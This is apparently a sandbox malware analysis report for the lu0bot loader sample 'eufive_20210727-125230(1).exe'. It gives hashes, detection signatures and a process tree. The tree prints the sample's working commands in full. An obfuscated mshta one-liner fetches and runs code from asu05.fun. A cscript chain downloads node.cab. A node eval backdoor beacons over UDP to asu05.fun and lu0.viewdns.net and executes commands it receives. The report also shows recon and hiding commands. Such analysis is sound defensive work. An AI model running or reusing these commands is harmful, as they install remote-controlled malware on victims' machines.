Overview
overview
10Static
static
eufive_202...1).exe
windows7_x64
1eufive_202...1).exe
windows10_x64
1eufive_202...1).exe
windows7_x64
10eufive_202...1).exe
windows10_x64
10eufive_202...41.exe
windows7_x64
10eufive_202...41.exe
windows10_x64
10mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixsix_202...1).exe
windows7_x64
8mixsix_202...1).exe
windows10_x64
8usfive_202...1).exe
windows7_x64
10usfive_202...1).exe
windows10_x64
10Analysis
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max time kernel
147s -
max time network
162s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
27-07-2021 21:27
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210727-123655(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
eufive_20210727-123655(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
eufive_20210727-125230(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
eufive_20210727-125230(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
eufive_20210727-174641.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral6
Sample
eufive_20210727-174641.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral7
Sample
mixazed_20210727-123659(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral8
Sample
mixazed_20210727-123659(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral9
Sample
mixazed_20210727-132631(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral10
Sample
mixazed_20210727-132631(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral11
Sample
mixazed_20210727-134206(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral12
Sample
mixazed_20210727-134206(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral13
Sample
mixsix_20210727-190432(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral14
Sample
mixsix_20210727-190432(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral15
Sample
usfive_20210727-123716(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
eufive_20210727-125230(1).exe
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Size
3KB
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MD5
a761191fcfbb734c45f3d7ba61d2ccde
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SHA1
3d37da91baf133d14e746d85cc9d8197d78cd0b9
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SHA256
545b3f1af9322de70ef2b27c9b383be4f6c22f508320d55d4b3787cc0eebce50
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SHA512
6add2e95ba16cac3ffc60697df7df9ba30b437aed94a1593bce7808ae686f980792a7327e8a204e40ba149b9d42045a3952ba1e32b0a5f24a0d3e38488f8a6ed
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 10 4816 mshta.exe 11 752 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 4296 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1432 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2100 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2816 ipconfig.exe 3620 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3176 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\bda501b4ad88eb83:ads node.exe File created C:\ProgramData\DNTException\node.exe:c5e8d0787926b3f47aec0ef82bb5dff6 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 10 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 11 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4296 node.exe 4296 node.exe 4296 node.exe 4296 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 2100 tasklist.exe Token: SeIncreaseQuotaPrivilege 2628 wmic.exe Token: SeSecurityPrivilege 2628 wmic.exe Token: SeTakeOwnershipPrivilege 2628 wmic.exe Token: SeLoadDriverPrivilege 2628 wmic.exe Token: SeSystemProfilePrivilege 2628 wmic.exe Token: SeSystemtimePrivilege 2628 wmic.exe Token: SeProfSingleProcessPrivilege 2628 wmic.exe Token: SeIncBasePriorityPrivilege 2628 wmic.exe Token: SeCreatePagefilePrivilege 2628 wmic.exe Token: SeBackupPrivilege 2628 wmic.exe Token: SeRestorePrivilege 2628 wmic.exe Token: SeShutdownPrivilege 2628 wmic.exe Token: SeDebugPrivilege 2628 wmic.exe Token: SeSystemEnvironmentPrivilege 2628 wmic.exe Token: SeRemoteShutdownPrivilege 2628 wmic.exe Token: SeUndockPrivilege 2628 wmic.exe Token: SeManageVolumePrivilege 2628 wmic.exe Token: 33 2628 wmic.exe Token: 34 2628 wmic.exe Token: 35 2628 wmic.exe Token: 36 2628 wmic.exe Token: SeIncreaseQuotaPrivilege 2628 wmic.exe Token: SeSecurityPrivilege 2628 wmic.exe Token: SeTakeOwnershipPrivilege 2628 wmic.exe Token: SeLoadDriverPrivilege 2628 wmic.exe Token: SeSystemProfilePrivilege 2628 wmic.exe Token: SeSystemtimePrivilege 2628 wmic.exe Token: SeProfSingleProcessPrivilege 2628 wmic.exe Token: SeIncBasePriorityPrivilege 2628 wmic.exe Token: SeCreatePagefilePrivilege 2628 wmic.exe Token: SeBackupPrivilege 2628 wmic.exe Token: SeRestorePrivilege 2628 wmic.exe Token: SeShutdownPrivilege 2628 wmic.exe Token: SeDebugPrivilege 2628 wmic.exe Token: SeSystemEnvironmentPrivilege 2628 wmic.exe Token: SeRemoteShutdownPrivilege 2628 wmic.exe Token: SeUndockPrivilege 2628 wmic.exe Token: SeManageVolumePrivilege 2628 wmic.exe Token: 33 2628 wmic.exe Token: 34 2628 wmic.exe Token: 35 2628 wmic.exe Token: 36 2628 wmic.exe Token: SeDebugPrivilege 3620 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
description pid Process procid_target PID 4648 wrote to memory of 4816 4648 eufive_20210727-125230(1).exe 70 PID 4648 wrote to memory of 4816 4648 eufive_20210727-125230(1).exe 70 PID 4648 wrote to memory of 4816 4648 eufive_20210727-125230(1).exe 70 PID 4816 wrote to memory of 3596 4816 mshta.exe 75 PID 4816 wrote to memory of 3596 4816 mshta.exe 75 PID 4816 wrote to memory of 3596 4816 mshta.exe 75 PID 3596 wrote to memory of 752 3596 cmd.exe 77 PID 3596 wrote to memory of 752 3596 cmd.exe 77 PID 3596 wrote to memory of 752 3596 cmd.exe 77 PID 3596 wrote to memory of 3888 3596 cmd.exe 78 PID 3596 wrote to memory of 3888 3596 cmd.exe 78 PID 3596 wrote to memory of 3888 3596 cmd.exe 78 PID 3596 wrote to memory of 4036 3596 cmd.exe 79 PID 3596 wrote to memory of 4036 3596 cmd.exe 79 PID 3596 wrote to memory of 4036 3596 cmd.exe 79 PID 4036 wrote to memory of 4296 4036 cscript.exe 80 PID 4036 wrote to memory of 4296 4036 cscript.exe 80 PID 4036 wrote to memory of 4296 4036 cscript.exe 80 PID 4296 wrote to memory of 1108 4296 node.exe 84 PID 4296 wrote to memory of 1108 4296 node.exe 84 PID 4296 wrote to memory of 1108 4296 node.exe 84 PID 4296 wrote to memory of 1212 4296 node.exe 85 PID 4296 wrote to memory of 1212 4296 node.exe 85 PID 4296 wrote to memory of 1212 4296 node.exe 85 PID 4296 wrote to memory of 1432 4296 node.exe 86 PID 4296 wrote to memory of 1432 4296 node.exe 86 PID 4296 wrote to memory of 1432 4296 node.exe 86 PID 4296 wrote to memory of 1496 4296 node.exe 87 PID 4296 wrote to memory of 1496 4296 node.exe 87 PID 4296 wrote to memory of 1496 4296 node.exe 87 PID 4296 wrote to memory of 1620 4296 node.exe 88 PID 4296 wrote to memory of 1620 4296 node.exe 88 PID 4296 wrote to memory of 1620 4296 node.exe 88 PID 4296 wrote to memory of 2100 4296 node.exe 90 PID 4296 wrote to memory of 2100 4296 node.exe 90 PID 4296 wrote to memory of 2100 4296 node.exe 90 PID 4296 wrote to memory of 2628 4296 node.exe 92 PID 4296 wrote to memory of 2628 4296 node.exe 92 PID 4296 wrote to memory of 2628 4296 node.exe 92 PID 4296 wrote to memory of 2816 4296 node.exe 93 PID 4296 wrote to memory of 2816 4296 node.exe 93 PID 4296 wrote to memory of 2816 4296 node.exe 93 PID 4296 wrote to memory of 3116 4296 node.exe 94 PID 4296 wrote to memory of 3116 4296 node.exe 94 PID 4296 wrote to memory of 3116 4296 node.exe 94 PID 4296 wrote to memory of 3620 4296 node.exe 95 PID 4296 wrote to memory of 3620 4296 node.exe 95 PID 4296 wrote to memory of 3620 4296 node.exe 95 PID 4296 wrote to memory of 3176 4296 node.exe 96 PID 4296 wrote to memory of 3176 4296 node.exe 96 PID 4296 wrote to memory of 3176 4296 node.exe 96 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1496 attrib.exe 1620 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210727-125230(1).exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210727-125230(1).exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();51;y=unescape('%325%33%7E%68t%74p%3A%2F%2Fa%73u%305%2Ef%75n%2Fh%72i%2F%3F%32f%652%652%62%7E%317%39').split('~');205;try{x='WinHttp';82;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();105;y='ipt.S';173;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);253;}catch(e){};202;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627421307932.txt & cscript /nologo /e:jscript get1627421307932.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2081e1f6b%26b%3Df0ccc7ed" node.cab & expand node.cab node.exe & del get1627421307932.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627421307932.txt & cscript /nologo /e:jscript get1627421307932.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27081e1f6b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627421307932.txt3⤵
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421307932.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2081e1f6b%26b%3Df0ccc7ed" node.cab4⤵
- Blocklisted process makes network request
PID:752
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:3888
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421307932.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27081e1f6b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27081e1f6b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4296 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1108
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1212
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1432
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1496
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1620
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2100
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:2816
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:3116
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3620
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:3176
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